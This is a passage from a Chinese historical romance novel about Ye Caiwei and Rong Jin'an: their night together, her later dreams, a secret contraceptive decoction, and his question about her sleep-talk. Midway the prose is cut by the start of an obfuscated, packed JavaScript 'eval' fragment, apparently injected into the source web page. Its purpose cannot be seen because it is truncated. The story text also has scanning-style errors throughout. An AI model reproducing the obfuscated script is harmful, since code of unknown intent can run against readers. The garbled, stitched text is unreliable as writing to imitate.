陌生的挤忽轻忽重,爱与占有同时被一点一点放大,抽离又紧密。沉睡的雪鸟在接捻中惊醒,乌云盖顶,-上一下地飘来荡去,故土难离。 叶采薇的十趾蜷紧,削葱根的指尖,修剪整齐的指甲,在男人的后背划下长痕,一道一道一道,还不够,要在他肩膀镌刻属于她的牙印,一个,接着一个。 这场春雨来势汹汹,到了后半夜时,终于淅淅沥沥地停了。叶采薇精疲力竭,被容津岸捞起来,背对着他,和他贴在一起。 耳侧、耳珠、耳后,还有被汗水浸湿的鬓发,毛孔张开的颌角,泛红发烫的后颈,他的吻细细密密落下来,大掌扣住她劫后余生的素手,和她十指交握。 叶采薇看不见他的表情,仍觉得在晃荡,想说话又说不出,忽然问他:"容津岸,你后悔吗?" 她的嗓音竟然沙哑无比,倏尔出声,连她自己都要认不出来。 她惊异,明明方才她死死克制住自己,没有发出太多破碎的、示弱的求饶,却还是哑成了这样。亲吻停了下来,大掌却扣得更紧。 被问到的人陷入了沉吟,这样的默然令叶采薇心悸,她不敢面对,挣扎着要起来,身后传来回答,“你呢,你后悔吗?” 慵懒不再,似乎又恢复了清冷的沉郁。床帷不再晃动,晃动的变成了叶采薇的心。 如果一切确乎完完全全如她所愿,该多好呢?她是不是太贪心了,贪心到非要追求一个非你不可的答案?到底不敢刨根问底。 时辰太晚,给了她必须离开的理由。她从容津岸的怀里翻过来,在湿漉漉的月光中欣赏他,亲吻他俊朗的眉宇,薄薄的眼皮,高挺的鼻梁。 "叶采薇从来不后悔做的每一个决定,从来不。" 说完,她从凌乱不堪的床褥中找到那件皱巴巴的睡袍,套上,又捡起被她冷落在墙角的披风,紧紧包裹自己,脚趾穿过湿润的木屐的时候,她突然回头。撞进他深邃的瞳孔。 那一瞬间,她以为便是天长地久。"洞房花烛夜,金榜题名时。"她给他留下话,在他的注视中离开。 问鹂已经在外面兢兢业业地守了大半个夜晚,她穿得厚实,见叶采薇出来,默默汇合,行于她身后。叶采薇的耳尖冰凉,她踩着春雨的余韵,小跑着,回到了自己的闺房。 而容津岸躺了很久,一直无法入睡。起身时,发现叶采薇落下的素色巾帕,上面星星点点,是血的痕迹,还有她的气味留韵。 指腹拂过帕子上的绣纹,他把帕子小心收起。 *** 嘉泰四十九年八月,应天。 这一次的癸水来得十分汹涌,坠痛了两日,却又很快偃旗息鼓。叶采薇也不知道自己这是怎么了。 明明有很多紫迫的事高悬头顶 压在心头,她却仍旧是浑浑疆噩,连续两晚,难以察觉分辨自己是如何度过的。她好像做了很多很多的梦,有梦见到东流之后的事,但绝大部分,却是在京城里,那些和容津岸有关的旧事。 爱,憎,痛,乐。 这就是放纵自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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了抓坏了,也完完全全没有放过她的意 思。 时至今日,历经沧海桑田,她也仍觉得温谣那句话说得极对,和心爱之人做这样的事,当然是快乐而愉悦的,刻骨铭心,铭心刻骨。 那晚她做好了充足的准备,但仍然被折腾得够呛,近乎精疲力竭。不过她一向争强好胜,在他面前硬撑,硬撑着穿衣穿鞋,硬扯着潇洒离开,天亮之前雨又下了起来,冲刷掉一切痕迹。 回到房,她开始整理自己,彻底浸入浴水,仔细检查,到处都是新鲜的痕迹,并不比先前看到的温谣的轻…还有斯开的、摩擦的疼,走路回来时便已经感到不适,细看那些深深浅浅的指印,想到容津 岸几乎失控的、缭乱的呼吸,叶采薇忽然下定决心: 下次,一定要提前说好,让他轻一些,再慢一些。 这样对他们都好。 一切收拾妥当,才发现自己原本用来垫着的帕子不见了,只有一种可能,遗落在了床榻上。那张帕子是素色的,角上还绣了“容安”两个字,原本是她准备一并寄送给游秀玉的,但前两天临时改了主意,觉得用来做这个几年刚好。 缩进被衾,见雁也端来了热腾腾的汤药。这是叶采薇瞒着温谣,私底下拐了好几个弯,找可靠的郎中讨来的方子,专门避子。这方子对身体倒是无甚损害,唯一的不好,便是会致癸水的日期紊乱。 尽管生母姚氏在她一岁时死于痘疫,叶采薇的身体却一直被养得极好,从小到大几乎无病无灾。在她与容津岸的正事被柳姨发现之前,那几个月的癸水-直是乱着的,除了问鹏和见雁等贴身婢女之外,亦是无人知晓。 她没当回事,事实证明她身体的底子也确实好。 而容津岸开始掌握她癸水的日子,是后来的事——只不过,和离五年之后,他竟然一直都记得。 好像梦里,她也听见他说过类似的话?大梦将醒,她必须要面对现实。问题也要一个一个解决。 叶采薇叹气。 她不愿再细想,从混沌的睡梦中抽身,缓缓撑开眼帘,却发现身边有人。是容津岸,他看了她多久? 不近不远的距离,却不够安全。 容津岸一双眸子黑洞洞的,眉眼阴沉,眸底还蒙着-层阴翳。他今日末着官袍,身上是蟹壳青的常服,周身清贵淡漠,头上的发簪梳得 丝不苟,簪着罪玉的发簪,和他的眼神 样晦暗不明。 和他对视,叶采薇嘴唇有些发干,忍不住咽下口中的津液。……明明,没有做什么,却总有心虚的感觉,心脏莫名跳得极快。叶采薇避开视线。 容津岸却倾身过来:“这几日,你每晚都在梦里喊‘容安'',究竟是什么意思?”